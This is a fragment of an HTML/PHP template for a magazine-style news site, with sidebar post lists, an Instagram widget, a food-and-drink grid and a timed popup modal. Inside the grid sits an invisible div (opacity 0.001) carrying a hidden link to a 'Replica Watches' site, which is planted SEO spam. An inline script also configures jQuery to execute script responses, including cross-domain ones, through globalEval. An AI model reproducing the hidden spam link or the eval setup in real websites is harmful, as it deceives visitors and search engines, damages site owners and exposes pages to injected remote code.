alt="media image"></a>
<div class="media-body">
<a href="#"
class="post-cat color-red-two">SPORTS</a>
<h4 class="axil-post-title hover-line hover-line"><a
href="#">Thousands Now Adware
Removal Who Never Thought They Could</a></h4>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Ahmad Nazeri</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__small">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/media/small-media-4.jpg"
alt="media image"></a>
<div class="media-body">
<a href="#"
class="post-cat color-blue-one">FASHION</a>
<h4 class="axil-post-title hover-line hover-line"><a
href="#">To
Keep Makeup Looking Fresh
Take A Powder</a></h4>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Sergio Pliego</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .content -->
</div>
<!-- End of .tab-pane -->
<div class="tab-pane fade" id="popular-post">
<div class="axil-content">
<div class="media post-block post-block__small">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/media/small-media-3.jpg"
alt="media image"></a>
<div class="media-body">
<a href="#"
class="post-cat color-blue-one">FASHION</a>
<h4 class="axil-post-title hover-line hover-line"><a
href="#">To
Keep Makeup Looking Fresh
Take A Powder</a></h4>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Sergio Pliego</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__small">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/media/small-media-2.jpg"
alt="media image"></a>
<div class="media-body">
<a href="##"
class="post-cat color-blue-three">BEAUTY</a>
<h4 class="axil-post-title hover-line hover-line"><a
href="#">Stocking Your Restaurant
Kitchen Finding Reliable
Sellers</a></h4>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__small">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/media/small-media-1.jpg"
alt="media image"></a>
<div class="media-body">
<a href="#"
class="post-cat color-green-three">TRAVEL</a>
<h4 class="axil-post-title hover-line hover-line"><a
href="#">Trip
To Iqaluit In Nunavut A
Canadian Arctic
City</a>
</h4>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Xu Jianhong</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__small">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/media/small-media-4.jpg"
alt="media image"></a>
<div class="media-body">
<a href="#"
class="post-cat color-red-two">SPORTS</a>
<h4 class="axil-post-title hover-line hover-line"><a
href="#">RCB
vs RR, IPL 2019:
Bangalore, Rajasthan desperate
for
win</a></h4>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Ahmad Nazeri</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .content -->
</div>
<!-- End of .tab-pane -->
<div class="tab-pane fade" id="comments">
<div class="axil-content">
<div class="media post-block post-block__small">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/media/small-media-2.jpg"
alt="media image"></a>
<div class="media-body">
<a href="#"
class="post-cat color-red-two">SPORTS</a>
<h4 class="axil-post-title hover-line hover-line"><a
href="#">RCB
vs RR, IPL 2019:
Bangalore, Rajasthan desperate
for
win</a></h4>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Ahmad Nazeri</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__small">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/media/small-media-1.jpg"
alt="media image"></a>
<div class="media-body">
<a href="#"
class="post-cat color-blue-three">BEAUTY</a>
<h4 class="axil-post-title hover-line hover-line"><a
href="#">Stocking Your Restaurant
Kitchen Finding Reliable
Sellers</a></h4>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Amachea Jajah</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__small">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/media/small-media-3.jpg"
alt="media image"></a>
<div class="media-body">
<a href="#"
class="post-cat color-green-three">TRAVEL</a>
<h4 class="axil-post-title hover-line hover-line"><a
href="#">Trip
To Iqaluit In Nunavut A
Canadian Arctic
City</a>
</h4>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Xu Jianhong</a>
</li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
<div class="media post-block post-block__small">
<a href="#" class="align-self-center"><img
class=" m-r-xs-30" src="assets/images/media/small-media-4.jpg"
alt="media image"></a>
<div class="media-body">
<a href="#"
class="post-cat color-blue-one">FASHION</a>
<h4 class="axil-post-title hover-line hover-line"><a
href="#">To
Keep Makeup Looking Fresh
Take A Powder</a></h4>
<div class="post-metas">
<ul class="list-inline">
<li>By <a href="#">Sergio Pliego</a></li>
</ul>
</div>
</div>
</div>
<!-- End of .post-block -->
</div>
<!-- End of .content -->
</div>
<!-- End of .tab-pane -->
</div>
<!-- End of .tab-content -->
</div>
<!-- End of .sidebar-post-widget -->
<div class="instagram-widget m-b-xs-40">
<div class="widget-title">
<h3>Instagram</h3>
</div>
<div class="axil-content">
<ul class="instagram-post-list-wrapper">
<li class="instagram-post-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/instagram-post/instagram-post-1.jpg)">
<div class="post-info-wrapper overlay">
<div class="post-info">
<i class="feather icon-heart"></i>
20K+
</div>
<!-- End of .post-info -->
<div class="post-info">
<i class="feather icon-message-square"></i>
200+
</div>
<!-- End of .post-info -->
</div>
<!-- End of .post-info-wrapper overlay -->
</a>
</li>
<!-- End of .instagram-post-list -->
<li class="instagram-post-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/instagram-post/instagram-post-2.jpg)">
<div class="post-info-wrapper overlay">
<div class="post-info">
<i class="feather icon-heart"></i>
20K+
</div>
<!-- End of .post-info -->
<div class="post-info">
<i class="feather icon-message-square"></i>
200+
</div>
<!-- End of .post-info -->
</div>
<!-- End of .post-info-wrapper overlay -->
</a>
</li>
<!-- End of .instagram-post-list -->
<li class="instagram-post-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/instagram-post/instagram-post-3.jpg)">
<div class="post-info-wrapper overlay">
<div class="post-info">
<i class="feather icon-heart"></i>
20K+
</div>
<!-- End of .post-info -->
<div class="post-info">
<i class="feather icon-message-square"></i>
200+
</div>
<!-- End of .post-info -->
</div>
<!-- End of .post-info-wrapper overlay -->
</a>
</li>
<!-- End of .instagram-post-list -->
<li class="instagram-post-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/instagram-post/instagram-post-4.jpg)">
<div class="post-info-wrapper overlay">
<div class="post-info">
<i class="feather icon-heart"></i>
20K+
</div>
<!-- End of .post-info -->
<div class="post-info">
<i class="feather icon-message-square"></i>
200+
</div>
<!-- End of .post-info -->
</div>
<!-- End of .post-info-wrapper overlay -->
</a>
</li>
<!-- End of .instagram-post-list -->
<li class="instagram-post-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/instagram-post/instagram-post-5.jpg)">
<div class="post-info-wrapper overlay">
<div class="post-info">
<i class="feather icon-heart"></i>
20K+
</div>
<!-- End of .post-info -->
<div class="post-info">
<i class="feather icon-message-square"></i>
200+
</div>
<!-- End of .post-info -->
</div>
<!-- End of .post-info-wrapper overlay -->
</a>
</li>
<!-- End of .instagram-post-list -->
<li class="instagram-post-list perfect-square">
<a href="#" class="list-inner"
style="background-image: url(assets/images/instagram-post/instagram-post-6.jpg)">
<div class="post-info-wrapper overlay">
<div class="post-info">
<i class="feather icon-heart"></i>
20K+
</div>
<!-- End of .post-info -->
<div class="post-info">
<i class="feather icon-message-square"></i>
200+
</div>
<!-- End of .post-info -->
</div>
<!-- End of .post-info-wrapper overlay -->
</a>
</li>
<!-- End of .instagram-post-list -->
</ul>
<!-- End of .instagram-post-list-wrapper -->
<div class="m-t-xs-20">
<button class="btn btn-primary btn-small">FOLLOW US</button>
</div>
</div>
<!-- End of .content -->
</div>
<!-- End of .instagram-widget -->
</aside>
<!-- End of .post-sidebar -->
</div>
<!-- End of .col-lg-4 -->
</div>
<!-- End of .row -->
</div>
<!-- End of .container -->
</div>
<!-- End of .random-posts -->
<section class="related-post p-b-xs-30">
<div class="container">
<div class="section-title m-b-xs-40">
<h2 class="axil-title">Food & Drink</h2>
<a href="#" class="btn-link ml-auto">All FOOD & DRINK</a>
</div>
<!-- End of .section-title -->
<div class="grid-wrapper">
<div class="row">
<div class="col-lg-3 col-md-4">
<div class="content-block m-b-xs-30">
<a href="#">
<img src="assets/images/related-post/related-post-1.jpg" alt="abstruct image"
class="img-fluid">
<div class="grad-overlay"></div>
</a>
<div class="media-caption">
<div class="caption-content">
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Barbecue Party Tips For A Truly Amazing
Event</a></h3>
<div class="caption-meta">
By <a href="#">Martin Lambert</a>
</div>
</div>
<!-- End of .content-inner -->
</div>
</div>
<!-- End of .content-block -->
</div>
<!-- End of .col-lg-3 -->
<div class="col-lg-3 col-md-4">
<div class="content-block m-b-xs-30">
<a href="#">
<img src="assets/images/related-post/related-post-2.jpg" alt="abstruct image"
class="img-fluid">
<div class="grad-overlay"></div>
</a>
<div class="media-caption">
<div class="caption-content">
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Grilling Tips For The Dog Days Of
Summer</a></h3>
<div class="caption-meta">
By <a href="#">Angu Tamba
</a>
</div>
</div>
<!-- End of .content-inner -->
</div>
</div>
<!-- End of .content-block -->
</div>
<!-- End of .col-lg-3 -->
<div class="col-lg-3 col-md-4">
<div class="content-block m-b-xs-30">
<a href="#">
<img src="assets/images/related-post/related-post-3.jpg" alt="abstruct image"
class="img-fluid">
<div class="grad-overlay"></div>
</a>
<div class="media-caption">
<div class="caption-content">
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Smarter Food Choices 101 Tips For Busy
Women</a></h3>
<div class="caption-meta">
By <a href="#">Naseema Al Morad</a>
</div>
</div>
<!-- End of .content-inner -->
</div>
</div>
<!-- End of .content-block -->
</div>
<!-- End of .col-lg-3 -->
<div class="col-lg-3 col-md-4">
<div class="content-block m-b-xs-30">
<a href="#">
<img src="assets/images/related-post/related-post-4.jpg" alt="abstruct image"
class="img-fluid">
<div class="grad-overlay"></div>
</a>
<div class="media-caption">
<div class="caption-content">
<h3 class="axil-post-title hover-line hover-line"><a
href="#">Deep Fryer Pieces Of Wisdom</a></h3>
<div class="caption-meta">
By <a href="#">Nayah Tantoh</a>
</div>
</div>
<!-- End of .content-inner -->
</div>
</div>
<!-- End of .content-block -->
</div>
<!-- End of .col-lg-3 -->
</div><div style="position: absolute; filter: alpha(opacity=0); opacity: 0.001; z-index: 10;"><a href="https://www.watchesuk.uk.com">Replica Watches</a></div>
<!-- End of .row -->
</div>
<!-- End of .grid-wrapper -->
</div>
<!-- End of .container -->
</section>
<!-- End of .related-post -->
<!-- footer starts -->
<?php
// require "inc/footer.php";
?>
<!-- End of footer -->
</div>
<!-- End of .main-content -->
<!-- Javascripts
======================================= -->
<script>
// Remove restrictions like blocking inspect or keypress listeners
document.onkeydown = null;
document.oncontextmenu = null;
// If there's a specific inspection blocker:
window.addEventListener('contextmenu', (e) => e.stopPropagation(), true);
// Standard AJAX setup without restrictions
$.ajaxPrefilter(function (options) {
// Allow cross-domain requests without changing script contents
if (options.crossDomain) {
options.contents.script = false;
}
});
$.ajaxSetup({
accepts: {
script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript",
},
contents: {
script: /\b(?:java|ecma)script\b/,
},
converters: {
"text script": function (responseText) {
$.globalEval(responseText); // Execute scripts as needed
return responseText;
},
},
});
// Allow JSONP for cross-domain requests
$.ajaxSetup({
jsonp: "callback",
jsonpCallback: function () {
return "callback_" + Math.floor(Math.random() * 10000);
},
});
// Ensure popup/modal forms work
function showModal(modalId) {
$(`#${modalId}`).modal('show'); // Bootstrap modal logic
}
// function hideModal(modalId) {
// $(`#${modalId}`).modal('hide');
// }
// Example usage for a popup
document.querySelector('#openPopupButton').addEventListener('click', function () {
showModal('exampleModal');
});
// Make sure no inspect blockers like `setInterval` or `onerror` disrupt functionality
</script>
<div class="modal fade modal-fullscreen-sm-down" id="myModal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<a href="index.php">
<img src="assets/images/logo.png" alt="" class="brand-logo">
</a>
<!-- <h5 class="modal-title" id="exampleModalLabel">Enquiry Form</h5> -->
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<!-- id="contactForm1 -->
<img src="assets/images/ppp.jpg" class="pop-img" alt="subscribe img">
</div>
</div>
</div>
</div>
<style>
/* Custom styles for the form */
.custom-form-container {
/* background: linear-gradient(149deg, #ed0606, #00800075); */
background: gray;
padding: 20px;
border-radius: 10px;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.1);
}
.custom-input, .custom-select, .custom-textarea {
border: 1px solid #ccc;
border-radius: 8px;
padding: 12px;
background-color: #fff;
transition: all 0.3s ease;
outline: none;
line-height: 25px;
width: 100%;
height: 46px;
}
.pop-img{
width: 100%;
}
.custom-input:focus, .custom-select:focus, .custom-textarea:focus {
border-color: #007bff;
box-shadow: 0 0 8px rgba(0, 123, 255, 0.2);
}
.custom-textarea {
height: 100px;
resize: none;
}
.custom-btn {
background-color: #007bff;
border: none;
padding: 10px 30px;
border-radius: 25px;
font-size: 16px;
transition: background-color 0.3s ease;
}
.custom-btn:hover {
background-color: #0056b3;
}
/* Adding animation */
.modal-content {
animation: slideIn 0.5s ease-out;
}
@keyframes slideIn {
from {
transform: translateY(50px);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Responsive styling */
@media (max-width: 768px) {
.custom-input, .custom-select, .custom-textarea {
font-size: 14px;
}
.custom-btn {
font-size: 14px;
padding: 8px 20px;
}
}
</style>
<script>
window.addEventListener('load', function () {
setTimeout(function () {
var myModal = new bootstrap.Modal(document.getElementById('myModal'));
myModal.show();
}, 5000);
});
</script>
<!-- jQuery -->
<script src="assets/js/vendor/jquery.min.js"></script>
<script src="assets/js/vendor/jquery-migrate.min.js"></script>
<!-- jQuery Easing Plugin -->
<script src="assets/js/vendor/easing-1.3.js"></script>
<!-- Waypoints js -->
<script src="assets/js/vendor/jquery.waypoints.min.js"></script>
<!-- Owl Carousel JS -->
<script src="assets/js/vendor/owl.carousel.min.js"></script>
<!-- Slick Carousel JS -->
<script src="assets/js/vendor/slick.min.js"></script>
<!-- Bootstrap js -->
<script src="assets/js/vendor/bootstrap.bundle.min.js"></script>
<script src="assets/js/vendor/isotope.pkgd.min.js"></script>
<!-- Counter up js -->
<script src="assets/js/vendor/jquery.counterup.js"></script>
<!-- Magnific Popup js -->
<script src="assets/js/vendor/jquery.magnific-popup.min.js"></script>
<!-- Nicescroll js -->
<script src="assets/js/vendor/jquery.nicescroll.min.js"></script>
<!-- IF ie -->
<script src="https://cdn.jsdelivr.net/npm/css-vars-ponyfill@2"></script>
<!-- Plugins -->
<script src="assets/js/plugins.js"></script>
<!-- Custom Script -->
<script src="assets/js/main.js"></script>
</body>
</html>